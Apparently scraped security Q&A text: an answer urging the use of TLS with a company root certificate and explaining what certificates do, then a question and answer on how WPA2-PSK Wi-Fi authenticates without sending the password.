Use TLS you don't need to do anything else. Don't try to build your own protocol unless you have someone very good at cryptography, even then it is not worth the risk. The server, not the client sends the entire certificate chain including the root. All of your machines will have this root installed and thus accept it. Otherwise abort the connection. At most you may have to rewrite client so that it only accepts your company root as a trusted root.
EDIT:
Digital certificates by themselves do not authenticate anyone. They are never meant to be secret in the first place. It's purpose is to certify that the public key of some server or anything indeed belongs to it. Your certificate contains your public key which is used to verify your signatures. The public key is used to verify that the signature used authenticate the server (and client if it is two-way) is indeed valid. The signature is also used to ensure that key exchange has not been tampered with. After key exchange, the data communicated is secured by encrypting (which also includes message authentication with it) it. If you just send your public key bare instead of the certificate, an attacker can easily inject her own public key instead making it insecure. The signature in question can only be produced using a private key which is paired with that public key. I won't go into much detail you can look into mathematics of cryptography if you are interested but deriving private key from the public key is infeasible, at least we know of no easy way to calculate private key from public key.


How does a device send the Wi-Fi password to the router? When I connect to a Wi-Fi network I know the password of, how does the device send the password?

Specifically, what prevents the network next door from catching that message and thereby learning the password?

The Wi-Fi traffic itself is encrypted with WPA2, but that will only start after you've authenticated yourself to the access point, right?

I suppose it is possible to ask the router for it's public key, and encrypting the password plus a timestamp (or something) and then send it to router. However, I haven't been able to find anything on it, mostly because my search results for e.g. "how does wifi connection process work" get flooded with clueless internet users asking why their wifi connection doesn't work... And then on top of that, I find this article stating:

  There’s no sort of password hash that your Android phone could send your router to authenticate besides the password itself.

But there must be something I'm missing...

This question has many (common) misconception about WiFI and how it works.

First, No you do not need the 'password' to 'connect' to the Wireless Network. The connection to the network (e.a. the 4 way handshake) is done before any password is transmitted to the access-point (sometimes known as a [wifi-] router).

When talking about pre-shared key scheme (WPA2-PSK), the most common on home and small office access-points (or AP) the password is never actually transmitted over the channel, instead the key is used as a 'seed' for a key generation scheme that will generate the 256 bits shared key which is used to create a 128 bits encryption key for data transmission on the channel.

The channel is first created with the 4-way handshake (similar to how TLS works). Than the 128 bits Encryption key is used to encrypt the data contents of each frame transmitted between the AP and Client.

Having the Pre shared key means you can decrypt the data either by bruteforceing all possible key values for a given Pre-shared key.
Or by doing a MiTM between the AP and the client as a rogue-AP.

Since the attacker can have the Pre-Shared key a rogue AP is possible.

For Corporate networks that do not use the WPA-PSK scheme authentication, authorization and the keys used are controlled by network-devices like a RADIUS server. Having the key will not help you connect in those cases, since they employ multiple identifiers to authenticate you with.

If you want to learn more about how wifi works, read up on its specs using the thenical name. the IEEE_802.11 Specifications.